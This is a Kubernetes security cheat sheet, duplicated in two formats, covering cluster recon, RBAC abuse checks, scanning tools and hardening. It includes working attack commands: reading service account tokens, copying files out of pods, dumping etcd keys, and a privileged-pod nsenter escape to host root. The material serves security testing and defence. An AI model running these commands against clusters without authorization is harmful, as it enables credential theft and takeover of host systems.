KUBERNETES SECURITY
OVERVIEW#
Kubernetes (k8s) orchestrates containers across clusters. Its attack surface spans the API server, kubelet, etcd, RBAC, service accounts, and workloads. This sheet covers enumeration, RBAC abuse, escape paths, and hardening/audit tooling for offensive and defensive use.
RECON & CONTEXT#
kubectl config view # Show kubeconfig contexts kubectl config get-contexts # List available contexts kubectl cluster-info # API server + service URLs kubectl version --short # Client/server versions kubectl get --raw /version # Raw version via API kubectl api-resources # All resource types kubectl auth can-i --list # What can current identity do kubectl auth can-i create pods # Test a specific permission kubectl auth can-i '*' '*' # Test cluster-admin
ENUMERATION#
kubectl get pods -A # All pods, all namespaces kubectl get nodes -o wide # Nodes + internal IPs kubectl get secrets -A # List secrets (needs RBAC) kubectl get sa -A # Service accounts kubectl get clusterrolebindings # Cluster-wide bindings kubectl get rolebindings -A # Namespaced bindings kubectl describe pod <pod> # Pod spec, mounts, env kubectl get pod <pod> -o yaml # Full manifest
SERVICE ACCOUNT TOKENS#
# Default in-pod token location: cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt # Use token against the API: export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" \ https://<apiserver>:6443/api/v1/namespaces/default/pods
RBAC ABUSE#
kubectl auth can-i create pods # Pod creation = escape
kubectl auth can-i create pods/exec # Exec into pods
kubectl auth can-i get secrets # Read secrets
kubectl auth can-i escalate roles # Privilege escalation
kubectl auth can-i impersonate users # Impersonation
kubectl auth can-i '*' '*' --as system:serviceaccount:ns:sa
# Test as another SA
# Dangerous verbs: create/update pods, exec, portforward,
# escalate, bind, impersonate, get secrets
kube-bench # CIS Kubernetes Benchmark audit
kube-bench run --targets master # Audit control plane
kube-bench run --targets node # Audit worker nodes
kube-hunter --remote <ip> # Remote cluster hunt
kube-hunter --cidr 10.0.0.0/24 # Network scan for k8s
kube-hunter --interface # Scan local interfaces
kube-hunter --active # Active (exploitation) mode
PILLAGING & LATERAL MOVEMENT#
kubectl exec -it <pod> -- /bin/sh # Shell into a pod
kubectl cp <pod>:/path ./local # Exfil files from pod
kubectl run x --image=alpine --restart=Never -it -- sh
# Spawn attacker pod
kubectl port-forward <pod> 8080:80 # Tunnel to internal service
# Read etcd if reachable (holds all secrets, base64):
etcdctl --endpoints=<etcd>:2379 get / --prefix --keys-only
NODE / CONTAINER ESCAPE#
# Privileged pod -> host root (mount host fs):
kubectl run priv --image=alpine --restart=Never --overrides='
{"spec":{"hostPID":true,"containers":[{"name":"p","image":"alpine",
"securityContext":{"privileged":true},"command":["nsenter","--target",
"1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'
# hostPath mount of / gives host filesystem access
# Look for: privileged:true, hostPID, hostNetwork, hostPath mounts,
# CAP_SYS_ADMIN, docker.sock mounted into pod
trivy image <image> # Scan image for CVEs
trivy k8s cluster --report summary # Scan whole cluster
kubescape scan # Posture scan (NSA/MITRE)
HARDENING CHECKS#
# Verify these are in place: # - RBAC least privilege (no wildcard cluster-admin bindings) # - Pod Security Admission (baseline/restricted) # - NetworkPolicies (default-deny ingress/egress) # - Disabled anonymous auth on kubelet/API # - Encrypted etcd at rest # - Read-only root filesystem, non-root runAsUser # - Seccomp/AppArmor profiles applied # - Audit logging enabled on API server
EXAMPLES#
# Full read-only recon of an obtained token export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) kubectl auth can-i --list --token=$TOKEN # CIS audit of a node, output JSON kube-bench run --targets node --json > kube-bench-node.json # Passive discovery of clusters on a subnet kube-hunter --cidr 10.10.0.0/24 # Image vulnerability gate before deploy trivy image --exit-code 1 --severity HIGH,CRITICAL registry/app:tag
NOTES#
- The API server (6443) and kubelet (10250) are the primary targets - Anonymous kubelet access (10250/pods) can expose exec on nodes - Service account tokens are the most common lateral pivot - Treat "create pods" as equivalent to cluster compromise if the admission controllers are permissive - Map findings to DORA ICT risk management + NIS2 for FS clients - kube-hunter is archived upstream; kubescape/trivy are actively maintained equivalents
KUBERNETES SECURITY CHEATSHEET
==============================
Source: https://cheatsheet.johlem.net
OVERVIEW
--------
Kubernetes (k8s) orchestrates containers across clusters. Its attack
surface spans the API server, kubelet, etcd, RBAC, service accounts,
and workloads. This sheet covers enumeration, RBAC abuse, escape
paths, and hardening/audit tooling for offensive and defensive use.
RECON & CONTEXT
---------------
kubectl config view # Show kubeconfig contexts
kubectl config get-contexts # List available contexts
kubectl cluster-info # API server + service URLs
kubectl version --short # Client/server versions
kubectl get --raw /version # Raw version via API
kubectl api-resources # All resource types
kubectl auth can-i --list # What can current identity do
kubectl auth can-i create pods # Test a specific permission
kubectl auth can-i '*' '*' # Test cluster-admin
ENUMERATION
-----------
kubectl get pods -A # All pods, all namespaces
kubectl get nodes -o wide # Nodes + internal IPs
kubectl get secrets -A # List secrets (needs RBAC)
kubectl get sa -A # Service accounts
kubectl get clusterrolebindings # Cluster-wide bindings
kubectl get rolebindings -A # Namespaced bindings
kubectl describe pod <pod> # Pod spec, mounts, env
kubectl get pod <pod> -o yaml # Full manifest
SERVICE ACCOUNT TOKENS
----------------------
# Default in-pod token location:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Use token against the API:
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" \
https://<apiserver>:6443/api/v1/namespaces/default/pods
RBAC ABUSE
----------
kubectl auth can-i create pods # Pod creation = escape
kubectl auth can-i create pods/exec # Exec into pods
kubectl auth can-i get secrets # Read secrets
kubectl auth can-i escalate roles # Privilege escalation
kubectl auth can-i impersonate users # Impersonation
kubectl auth can-i '*' '*' --as system:serviceaccount:ns:sa
# Test as another SA
# Dangerous verbs: create/update pods, exec, portforward,
# escalate, bind, impersonate, get secrets
kube-bench # CIS Kubernetes Benchmark audit
kube-bench run --targets master # Audit control plane
kube-bench run --targets node # Audit worker nodes
kube-hunter --remote <ip> # Remote cluster hunt
kube-hunter --cidr 10.0.0.0/24 # Network scan for k8s
kube-hunter --interface # Scan local interfaces
kube-hunter --active # Active (exploitation) mode
PILLAGING & LATERAL MOVEMENT
----------------------------
kubectl exec -it <pod> -- /bin/sh # Shell into a pod
kubectl cp <pod>:/path ./local # Exfil files from pod
kubectl run x --image=alpine --restart=Never -it -- sh
# Spawn attacker pod
kubectl port-forward <pod> 8080:80 # Tunnel to internal service
# Read etcd if reachable (holds all secrets, base64):
etcdctl --endpoints=<etcd>:2379 get / --prefix --keys-only
NODE / CONTAINER ESCAPE
-----------------------
# Privileged pod -> host root (mount host fs):
kubectl run priv --image=alpine --restart=Never --overrides='
{"spec":{"hostPID":true,"containers":[{"name":"p","image":"alpine",
"securityContext":{"privileged":true},"command":["nsenter","--target",
"1","--mount","--uts","--ipc","--net","--pid","--","bash"]}]}}'
# hostPath mount of / gives host filesystem access
# Look for: privileged:true, hostPID, hostNetwork, hostPath mounts,
# CAP_SYS_ADMIN, docker.sock mounted into pod
trivy image <image> # Scan image for CVEs
trivy k8s cluster --report summary # Scan whole cluster
kubescape scan # Posture scan (NSA/MITRE)
HARDENING CHECKS
----------------
# Verify these are in place:
# - RBAC least privilege (no wildcard cluster-admin bindings)
# - Pod Security Admission (baseline/restricted)
# - NetworkPolicies (default-deny ingress/egress)
# - Disabled anonymous auth on kubelet/API
# - Encrypted etcd at rest
# - Read-only root filesystem, non-root runAsUser
# - Seccomp/AppArmor profiles applied
# - Audit logging enabled on API server
EXAMPLES
--------
# Full read-only recon of an obtained token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN
# CIS audit of a node, output JSON
kube-bench run --targets node --json > kube-bench-node.json
# Passive discovery of clusters on a subnet
kube-hunter --cidr 10.10.0.0/24
# Image vulnerability gate before deploy
trivy image --exit-code 1 --severity HIGH,CRITICAL registry/app:tag
NOTES
-----
- The API server (6443) and kubelet (10250) are the primary targets
- Anonymous kubelet access (10250/pods) can expose exec on nodes
- Service account tokens are the most common lateral pivot
- Treat "create pods" as equivalent to cluster compromise if the
admission controllers are permissive
- Map findings to DORA ICT risk management + NIS2 for FS clients
- kube-hunter is archived upstream; kubescape/trivy are actively
maintained equivalents
Defensive reference on CyberRamen. Offensive / red-team sheets live on OffensiveRamen.com.